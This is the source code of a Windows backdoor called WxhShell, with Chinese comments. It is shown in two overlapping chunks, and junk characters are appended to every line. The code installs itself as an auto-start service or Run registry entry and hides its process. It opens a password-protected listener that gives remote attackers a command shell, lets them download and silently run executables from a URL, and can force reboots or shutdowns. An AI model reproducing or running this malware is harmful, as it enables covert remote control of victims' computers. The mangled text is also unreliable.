  case 'd': { 2g! +<YZ~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j|#Bo:2km  
    if(Boot(SHUTDOWN)) 9p(. A$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Ko!$29[  
    else { H"WprHe  
    closesocket(wsh); hkQ"OsU  
    ExitThread(0); XlR@pr6tw  
    } E hMNap}5"  
    break; z-)O9PV  
    } Lw>N rY(Y  
  // 获取shell BnasI;yWb  
  case 's': { wz%Nb Ly-  
    CmdShell(wsh); *gWwALGo5  
    closesocket(wsh); }-=|^  
    ExitThread(0); YNi.SXH  
    break; 5$C-9  
  } 11;MN  
  // 退出 #AQV(;r7@  
  case 'x': { /IMFO:c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rFL;'Cj@  
    CloseIt(wsh); pZy~1L  
    break; brUF6rQ  
    } O :Tj"@h  
  // 离开 6T`i/".  
  case 'q': { Qzw;i8n{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /mzlH  
    closesocket(wsh); i=2N;sAl  
    WSACleanup(); P5 ywhw-  
    exit(1); f ) L  
    break; )l DD\J7  
        } IjnU?Bf  
  } 'TB2:W3  
  } _X x/(.O  
:d'8x  
  // 提示信息 13x p_j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `VguQl_,gA  
} b4N[)%@  
  } 7B66]3v  
'}Z<h?9  
  return; ' S/gmn  
} fe_5LC"  
X#^[<5  
// shell模块句柄 Slc\&Eb  
int CmdShell(SOCKET sock) G]&qx`TBK  
{ }Jj}%XxKs  
STARTUPINFO si; nAlQ7 '  
ZeroMemory(&si,sizeof(si)); KVa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bV3|6]k^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pa: |_IXA  
PROCESS_INFORMATION ProcessInfo; FfT`;j  
char cmdline[]="cmd"; Wmv#:U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SXP]%{@ R/  
  return 0; am6L8N  
} "E4a=YH_  
[ub e6  
// 自身启动模式 KF:78C  
int StartFromService(void) \YrUe1  
{ ,r_Gf5c  
typedef struct bW(0Ng  
{ 4;2uW#dG"  
  DWORD ExitStatus; FGBbO\< /  
  DWORD PebBaseAddress; Yrq~5)%  
  DWORD AffinityMask; PLBr P  
  DWORD BasePriority;  O*P.]d  
  ULONG UniqueProcessId; 5*u+q2\F  
  ULONG InheritedFromUniqueProcessId; xr^LFn)  
}   PROCESS_BASIC_INFORMATION; E|shs=I  
8P\Zo8}v  
PROCNTQSIP NtQueryInformationProcess; W ]8 QM1$  
j8:\%|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J\=*#*rJ1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kvu)y`  
((%? `y  
  HANDLE             hProcess; P?P#RhvA1  
  PROCESS_BASIC_INFORMATION pbi; )MT}+ai  
tw)mepwB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^E>3|du]O  
  if(NULL == hInst ) return 0; -X6PRE5a2  
5~DJWi,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xne1gms  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  uHRsFlw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S~G ]~gt  
+D*Z_Yh6  
  if (!NtQueryInformationProcess) return 0; >9Vn.S  
QIFgQ0{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .O<obq~;C  
  if(!hProcess) return 0; -jm Y)(\  
zX i 'kB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p0eX{xm  
J C}D` h  
  CloseHandle(hProcess); sU^1wB Rj  
Pr C{'XDlU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a(ZcmYzXU  
if(hProcess==NULL) return 0; {Qj~M<@3  
@oGcuE  
HMODULE hMod; +:/%3}`  
char procName[255]; :7;@ZEe  
unsigned long cbNeeded; H3oFORh  
%^6F_F_jS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {?7Uj  
%mgE;~"&  
  CloseHandle(hProcess); &mM0AA'\?H  
ti,d&c_7  
if(strstr(procName,"services")) return 1; // 以服务启动 W[r>.7>?h  
'$+ogBS  
  return 0; // 注册表启动 P[fq8lDA  
} Ab;.5O$y  
$<[79al#  
// 主模块 4s oJ.j8  
int StartWxhshell(LPSTR lpCmdLine) *lJxH8\  
{ J] r^W)O  
  SOCKET wsl; uCB=u[]y4  
BOOL val=TRUE; ;722\y(Y  
  int port=0; F,CT Z~  
  struct sockaddr_in door; %J-GKpo/S  
>y+B  
  if(wscfg.ws_autoins) Install(); f* wx<  
fI|$K )K  
port=atoi(lpCmdLine); p5*jzQ  
4?01s-Y  
if(port<=0) port=wscfg.ws_port; |JsZJ9W+J  
_,*r_D61S  
  WSADATA data; KqP#6^ _  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `XDl_E+>l  
RT8 ?7xFc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G^@5H/)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M)(DZ}  
  door.sin_family = AF_INET; 7a}k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bvOq5Q6  
  door.sin_port = htons(port); + >!;i6|  
b\,+f n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cm+P]8o%{  
closesocket(wsl); HjwE+:w  
return 1; b7ZSPXV  
} NwfVL4Xg  
tO&^>&;5  
  if(listen(wsl,2) == INVALID_SOCKET) { ue>D 7\8  
closesocket(wsl); /g.U&oI]D  
return 1; ksm~<;td  
} ,`sv1xwd  
  Wxhshell(wsl); iN.n8MN=I  
  WSACleanup(); $<OD31T  
HK% 7g  
return 0; ~F#j#n(=`q  
^=*;X;7  
} ]I6  J7A[  
0tJ Z4(0  
// 以NT服务方式启动 A":T1s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @PIp* [7oC  
{ 8xMX  
DWORD   status = 0; c+GG\:gM  
  DWORD   specificError = 0xfffffff; Ni7nq8B<  
-I%5$`z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rS Ni@;   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c[s4EUG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (w zQ2Dk  
  serviceStatus.dwWin32ExitCode     = 0; ?r!o~|9|  
  serviceStatus.dwServiceSpecificExitCode = 0; [<TrS/,)>  
  serviceStatus.dwCheckPoint       = 0; "EJ~QCW*Yh  
  serviceStatus.dwWaitHint       = 0; -ze J#B)C  
R^e'}+Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K.yb ^dg5  
  if (hServiceStatusHandle==0) return; 23jwAsSo  
OcO3v'&  
status = GetLastError(); iJ|uvPCE  
  if (status!=NO_ERROR) K|s, ru  
{ Y\hBd$lQ~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fd9k?,zM  
    serviceStatus.dwCheckPoint       = 0; L \iFNT}g`  
    serviceStatus.dwWaitHint       = 0; VG~Vs@c(  
    serviceStatus.dwWin32ExitCode     = status; Zgb!E]V[  
    serviceStatus.dwServiceSpecificExitCode = specificError; N)Z?Z+ }h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L4l!96]a  
    return; #|``ca54B  
  } /wlEe>i  
B|X!>Q<g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LXCx~;{\  
  serviceStatus.dwCheckPoint       = 0; {7pli{`  
  serviceStatus.dwWaitHint       = 0; D3K8F@d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <\S:'g"(  
} W!(LF7_!  
"^iYLQOC  
// 处理NT服务事件,比如:启动、停止 &Hnz8Or!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FE;x8(;W8  
{ uvS)8-o&F  
switch(fdwControl) E<*xx#p  
{ S`]k>' l  
case SERVICE_CONTROL_STOP: Q=dy<kg']  
  serviceStatus.dwWin32ExitCode = 0; _Bj":rzY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ??/ 'kmd  
  serviceStatus.dwCheckPoint   = 0; L{Vqh0QD&  
  serviceStatus.dwWaitHint     = 0; pmYHUj #  
  { SZCze"`[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); II=79$n`G  
  } PTV:IzoW  
  return; f|oh.z_R  
case SERVICE_CONTROL_PAUSE: f`66h M[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9(<@O%YU  
  break; Yu`~U,m  
case SERVICE_CONTROL_CONTINUE: r:TH]hs12+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wwcBsJ1{  
  break; ku M$UYTTX  
case SERVICE_CONTROL_INTERROGATE: ,MIV=*  
  break; 7Fsay+a  
}; @9|hMo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] @fk] ]R  
} |(^PS8wG  
={Qi0Pvt  
// 标准应用程序主函数 | VDV<g5h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IO:G1;[/2L  
{ Y\'}a+:@Ph  
(&x['IR  
// 获取操作系统版本 bi;1s'Y<D  
OsIsNt=GetOsVer(); LjHVJSC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vY`s'%WV  
jZr q{Z<  
  // 从命令行安装 #gw]'&{8D  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]')RMg zM*  
IV)j1  
  // 下载执行文件 jmW7)jT8:  
if(wscfg.ws_downexe) { n '6jou  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y1L,0 ]  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7"D.L-H  
} )@bQu~Y  
C$)onk  
if(!OsIsNt) { l%i+cOD  
// 如果时win9x,隐藏进程并且设置为注册表启动 x'R`. !g3  
HideProc(); \Y}8S/]  
StartWxhshell(lpCmdLine); 9( wK@  
} Wo=jskBrQ  
else `Ryp% Bn  
  if(StartFromService()) <1M-Ro?5k  
  // 以服务方式启动 ;t`&n['N>  
  StartServiceCtrlDispatcher(DispatchTable); U :_^#\p  
else \1Em`nvOX  
  // 普通方式启动 r" ,GC]  
  StartWxhshell(lpCmdLine); sCHJ&>m5-  
"C`Ub  
return 0; [}]Q?*_  
} S>1Iky|  
-A!%*9Z  
7Hu3>4<  
J5jvouR  
=========================================== jEJT-*I1+  
uM6+?A9@l  
k"w"hg&e  
k|d+#u[Mj@  
$* Kvc$D  
jo@J}`\Zt  
" jW@Uo=I[  
}RqK84K  
#include <stdio.h> >[*qf9$  
#include <string.h> *c+ (-  
#include <windows.h> < c/5b]No  
#include <winsock2.h> h9W^[6  
#include <winsvc.h> /&94 eC  
#include <urlmon.h> ,zY$8y]  
'uEl~> l7  
#pragma comment (lib, "Ws2_32.lib") 2jhxQL  
#pragma comment (lib, "urlmon.lib") Y:a]00&)#Y  
f& '  
#define MAX_USER   100 // 最大客户端连接数 N]sAji*  
#define BUF_SOCK   200 // sock buffer ]z9=}=If  
#define KEY_BUFF   255 // 输入 buffer HyWCMK6b  
?6Y?a2 |  
#define REBOOT     0   // 重启 HHsmLo c4  
#define SHUTDOWN   1   // 关机 P";'jVcR  
83q6Sv  
#define DEF_PORT   5000 // 监听端口 ^y%T~dLkp'  
n.0fVV-A  
#define REG_LEN     16   // 注册表键长度 @;RXLq/8  
#define SVC_LEN     80   // NT服务名长度 V~5jfcd  
aw42oLk  
// 从dll定义API }`~+]9 <   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M/gGoE{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @<&m|qtMsz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `W*U4?M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D}X\Ca"h  
N ?"]  
// wxhshell配置信息 @sC`!Rmy'-  
struct WSCFG {  kPLxEwl  
  int ws_port;         // 监听端口 W6/yn  
  char ws_passstr[REG_LEN]; // 口令 :6\qpex  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]?[fsdAQW  
  char ws_regname[REG_LEN]; // 注册表键名 p.?rey<%  
  char ws_svcname[REG_LEN]; // 服务名 LSr]S79N1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~R92cH>L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0:Ol7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )I.$=s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B0]~el  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6,{$J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZzT9j~  
Y/zj[>  
}; G<v&4/\p`M  
~M4;  
// default Wxhshell configuration ,nDaqQ-C!!  
struct WSCFG wscfg={DEF_PORT, yaH Zt`Y  
    "xuhuanlingzhe", YcpoL@ab  
    1, E=!\z%4  
    "Wxhshell", .OY`Z)SS%  
    "Wxhshell", @6T/Tdz  
            "WxhShell Service", ikiypWq  
    "Wrsky Windows CmdShell Service", >V}#[/n  
    "Please Input Your Password: ", V33T+P~j  
  1, FQ5U$x. [P  
  "http://www.wrsky.com/wxhshell.exe", wDe& 1(T^  
  "Wxhshell.exe" z~ /` 1  
    }; f=K]XTw~  
:&9s,l   
// 消息定义模块 DlMW(4(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 81 sG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v,>Dbxn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @t_=Yl2;  
char *msg_ws_ext="\n\rExit."; 'AH0ww_)n  
char *msg_ws_end="\n\rQuit."; DN57p!z  
char *msg_ws_boot="\n\rReboot..."; o:Sa, !DK  
char *msg_ws_poff="\n\rShutdown..."; Z@PmM4F@S  
char *msg_ws_down="\n\rSave to "; +!.^zp21  
F@B]et7  
char *msg_ws_err="\n\rErr!"; ?+}_1x`  
char *msg_ws_ok="\n\rOK!"; 'AS|ZRr/  
xYpd: Sm  
char ExeFile[MAX_PATH]; k_nql8H  
int nUser = 0; O[JL+g4  
HANDLE handles[MAX_USER]; ZX./P0  
int OsIsNt; %/#NK1&M  
{[?(9u7R  
SERVICE_STATUS       serviceStatus; 1NA.nw.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^sLdAC  
Cd}<a?m,  
// 函数声明 CdjI`  
int Install(void); lchPpm9  
int Uninstall(void); m`^q <sj  
int DownloadFile(char *sURL, SOCKET wsh); A*547=M/(j  
int Boot(int flag); 4)urU7[ &)  
void HideProc(void); ={@6{-tl  
int GetOsVer(void); D7Q$R:6|  
int Wxhshell(SOCKET wsl); > jc [nk  
void TalkWithClient(void *cs); +*/Zu`kzX  
int CmdShell(SOCKET sock); z/@slT  
int StartFromService(void); Od,qbU4O  
int StartWxhshell(LPSTR lpCmdLine); fSvM(3Y<Qh  
p]2128kqx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >V8-i`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )cMh0SGcM1  
jLHkOk5{:  
// 数据结构和表定义 Wf>R&o6tr  
SERVICE_TABLE_ENTRY DispatchTable[] = 7} 5JDG  
{ 68C%B9.b'  
{wscfg.ws_svcname, NTServiceMain}, |"CZT#  
{NULL, NULL} #( 146  
}; '$]97b7G  
>$/>#e~  
// 自我安装 O)n~](sC\  
int Install(void) 9gK` E  
{ M\Ye<Tk  
  char svExeFile[MAX_PATH]; HJ[cM6$2  
  HKEY key; uo%)1NS!  
  strcpy(svExeFile,ExeFile); rlSeu5X6  
~ =2PU$u  
// 如果是win9x系统,修改注册表设为自启动 x@;m8z0  
if(!OsIsNt) { 4yr'W8X_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =|y9UlsD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ytJ/g/,A0i  
  RegCloseKey(key); xHLlMn4M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r1{@Ucw2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ">,|V-H  
  RegCloseKey(key); LG|fq/;  
  return 0; czgO ;3-C  
    } hT&Y#fh  
  } >rmqBDKaQ  
} ZdWm:(nkU  
else { ,K"U> &  
]dmrkZz:  
// 如果是NT以上系统,安装为系统服务 &d?CCb$|0Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }?_?V&K|  
if (schSCManager!=0) 4-y :/8  
{ By",rD- r  
  SC_HANDLE schService = CreateService :v&$o'Sak  
  ( |a`Sc %  
  schSCManager, u$Jz~:=,  
  wscfg.ws_svcname, .|>3k'<l  
  wscfg.ws_svcdisp, ep)n_!$OH"  
  SERVICE_ALL_ACCESS, )e=D(qd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Em !/a$  
  SERVICE_AUTO_START, ' ;FnIZ  
  SERVICE_ERROR_NORMAL, |tMWCA  
  svExeFile, E`usknf>l  
  NULL, Vl=l?A8  
  NULL, a;qryUyG  
  NULL, =M [bnq*\  
  NULL, PQSP&  
  NULL jB Z&Ad@e  
  ); Q}K"24`=  
  if (schService!=0) b;W3j   
  { &4x}ppX  
  CloseServiceHandle(schService); 4ber!rJM  
  CloseServiceHandle(schSCManager); 'ud{m[|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x$.^"l-vX  
  strcat(svExeFile,wscfg.ws_svcname); 5o'FS{6U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yT"Eq"7/Y#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '/n1IM$7  
  RegCloseKey(key); ;yLu R  
  return 0; l<LP&  
    } { VfXsI  
  } "W7K"=X  
  CloseServiceHandle(schSCManager); Y^;ovH~ ve  
} RSyUaA  
} y@:h4u"3  
mCsMqDH  
return 1; .*?wF  
} )D5"ap]fX  
):68%,  
// 自我卸载  v zs)[AD  
int Uninstall(void) 8f)?{AX0  
{ Fg5kX  
  HKEY key; 0$)>D==  
*ebSq)  
if(!OsIsNt) { {JO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7cT~oV !G_  
  RegDeleteValue(key,wscfg.ws_regname); p{ Yv3dNl  
  RegCloseKey(key); F^t DL:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wc NOLUl  
  RegDeleteValue(key,wscfg.ws_regname); HJLG=mU  
  RegCloseKey(key); G )trG9 .a  
  return 0; gx8ouOh  
  } k"T}2 7  
} $m%f wB  
} Bs_s&a>  
else { :bu/^mW[  
V6&!9b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yz/md1T$  
if (schSCManager!=0) jrlVvzZ  
{ ~Ei$nV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,]ma+(|  
  if (schService!=0) GmeQ`;9,  
  { hz;G$cuEE  
  if(DeleteService(schService)!=0) { h-#6av :  
  CloseServiceHandle(schService); Ic"ybj`  
  CloseServiceHandle(schSCManager); Pw7]r<Q  
  return 0; 1R{!]uh  
  } Q_Q''j(r6b  
  CloseServiceHandle(schService); ['X]R:3h  
  } F3v !AvA|  
  CloseServiceHandle(schSCManager); x=hiQ>BIO0  
} Qcq`libK  
} nJG U-Z  
b8`)y<7  
return 1; 1MP~dRZ$  
} MSQEO4ge  
hYT0l$Ng  
// 从指定url下载文件 L O_k@3  
int DownloadFile(char *sURL, SOCKET wsh) SO|NaqWa  
{ [fya)}  
  HRESULT hr; @Q ]=\N:  
char seps[]= "/"; TluW-S  
char *token; zUkgG61  
char *file; dUeN*Nq&(,  
char myURL[MAX_PATH]; )BZ.Sv  
char myFILE[MAX_PATH]; KQaxvU)L  
@w#-aGJO  
strcpy(myURL,sURL); q1$N>;&  
  token=strtok(myURL,seps); p*R;hU  
  while(token!=NULL) }{K) 4M  
  { W7R<%?  
    file=token; UN;H+gNnN  
  token=strtok(NULL,seps); 0U(@= 7V  
  } {3>$[bT  
Ga-k  
GetCurrentDirectory(MAX_PATH,myFILE); :j9l"5"  
strcat(myFILE, "\\"); <Dl*l{zba  
strcat(myFILE, file); VuhGx:Xl  
  send(wsh,myFILE,strlen(myFILE),0); *KZYv=s,u  
send(wsh,"...",3,0); ?mwt~_s9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]^.  _z  
  if(hr==S_OK) U2tV4_ e  
return 0; iW]j9}t  
else v}}F,c(f  
return 1; 7Utn\l  
b$d;Qx  
} 'Vzp2  
 acajHs  
// 系统电源模块 i^X]j  
int Boot(int flag) xBThq?N?  
{ zsEc(  
  HANDLE hToken; 9|^2",V  
  TOKEN_PRIVILEGES tkp; {k>&?Vd!  
 <$A  
  if(OsIsNt) { q~b  &  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); . oF &Ff/[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |sJ[0z  
    tkp.PrivilegeCount = 1; *.ll<p+(-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y2Q&s 9$Do  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Maha$n*  
if(flag==REBOOT) { d\&U*=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /kZebNf6H  
  return 0; Dzpq_F!;V  
} z\\[S@>pt  
else { SB;&GHq"n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .9/ hHCp  
  return 0; ;V:i!u u  
} j"t(0 m  
  } WrnrFz  
  else { ^H p; .f.  
if(flag==REBOOT) { @N>\|!1CC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4qb/da E:Z  
  return 0; SXSgld2uS  
} a=|K%ii+Y  
else { zq 3\}9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }kw#7m54  
  return 0; @+&LYy72  
} x 77*c._3v  
} DzAg"6=CS  
\#8D>i?m  
return 1; A]_7}<<N  
} pQyK={7?`  
2jA{SY-  
// win9x进程隐藏模块 5c@,bIl *  
void HideProc(void) >2Y=*K,:  
{ ]{;gw<T  
$g^@AdE%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KaLzg5is  
  if ( hKernel != NULL ) Z\(q@3C  
  { z 4e7PW|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =Pyj%4Rs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rX U  
    FreeLibrary(hKernel); [$ubNk;!z  
  } lB8-Z ow  
lne|5{h  
return; I {SjlN}d  
} Eh)fnqs_d}  
o@_q]/Mh  
// 获取操作系统版本 \ ,'m</o~,  
int GetOsVer(void) Oz75V|D  
{ 0G(/Wb"/  
  OSVERSIONINFO winfo; RF?`vRZOe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D5gFXEeh  
  GetVersionEx(&winfo); s-NX o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^L,K& Jd  
  return 1; 9sM!`Lz{  
  else v1#otrf  
  return 0; (fhb0i-  
} 4V"E8rUL(  
CmWeY$Jb  
// 客户端句柄模块 j}#w )M  
int Wxhshell(SOCKET wsl) [DYQ"A= )d  
{ Ky`qskvu  
  SOCKET wsh; _kC-dEGf!y  
  struct sockaddr_in client; i9:C4',sw0  
  DWORD myID; !K#qeY}  
a)!o @  
  while(nUser<MAX_USER) b35fs]}u-6  
{ xEa\f[.An  
  int nSize=sizeof(client); i:dR\|B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f'F?MINJP  
  if(wsh==INVALID_SOCKET) return 1; Q*GN`07@?d  
nF}vw |r>x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %J}xg^+f  
if(handles[nUser]==0) NYhB'C2  
  closesocket(wsh); 3h]g}&k  
else mupT<_Y  
  nUser++; ~EW(Gs!=C  
  } t"sBPLU\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `T1  
}czrj%6  
  return 0; l&[O  
}  X hR4ru`  
gZVc 5u<  
// 关闭 socket &L3M]  
void CloseIt(SOCKET wsh) ]|#+zx|/D  
{ "BAK !N$9  
closesocket(wsh); RCJ|P~*  
nUser--; IM*y|UHt  
ExitThread(0); g/4[N{Xf  
} T%+ #xl  
\-E^lIVF  
// 客户端请求句柄 V(}:=eK  
void TalkWithClient(void *cs) pG_;$8Hc  
{ k``_EiV4t  
7o\@>rNWP  
  SOCKET wsh=(SOCKET)cs; y4yhF8E>;U  
  char pwd[SVC_LEN]; ^ "E^zHM(  
  char cmd[KEY_BUFF]; UB@Rs|)  
char chr[1]; ip\sXVR  
int i,j; z>xmRs   
rD tY[  
  while (nUser < MAX_USER) { K&u_R  
1pVS&0W  
if(wscfg.ws_passstr) { .C%<P"=J4h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D#aDv0b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b\f O8{k  
  //ZeroMemory(pwd,KEY_BUFF); #x@$ lc=k3  
      i=0; oueC  
  while(i<SVC_LEN) { 7Y lchmd  
WH%g(6w1j  
  // 设置超时 cs48*+m  
  fd_set FdRead; _r#Z}HK  
  struct timeval TimeOut; ZT*ydln  
  FD_ZERO(&FdRead); '(6z. toQ  
  FD_SET(wsh,&FdRead); yHYsZ,GE  
  TimeOut.tv_sec=8; `K"L /I9  
  TimeOut.tv_usec=0; v4<nI;Ux  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5{TsiZh4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3l]lwV  
'B$yo]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SZ7:u895E  
  pwd=chr[0]; J[&@PUy  
  if(chr[0]==0xd || chr[0]==0xa) { 5"VTK  
  pwd=0; 7jrt7[{  
  break; t mn tp  
  } y<UK:^t31V  
  i++; j{ ]I]\=?  
    } alJ)^OSIe  
2F;y;l%  
  // 如果是非法用户,关闭 socket E#34Wh2z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _ >?\DgjH  
} k:i4=5^*GX  
z9f-.72"X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /A\8 mL8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'd0~!w  
Bg=wKwc8  
while(1) { =}^9 wP  
AD> e?u  
  ZeroMemory(cmd,KEY_BUFF); uo:J\E  
qw301]y  
      // 自动支持客户端 telnet标准   3ZuZ/=  
  j=0; !vi> U|rh  
  while(j<KEY_BUFF) { D_2:k'4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >IafUy  
  cmd[j]=chr[0]; j a[Et/r  
  if(chr[0]==0xa || chr[0]==0xd) { J`Q>3] wL  
  cmd[j]=0; $GV7o{"&  
  break; 3m[vXr?  
  } 63iUi9P  
  j++; MR7}s4o  
    } Y>z>11yEB0  
YRk(u7:0  
  // 下载文件 D>r&}6<  
  if(strstr(cmd,"http://")) { &A/]pi-\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <\ y@*fg+  
  if(DownloadFile(cmd,wsh)) ,]C;sN%~}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0|qAxR-  
  else G&SB-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x^qVw5{n  
  }  'c&Ed  
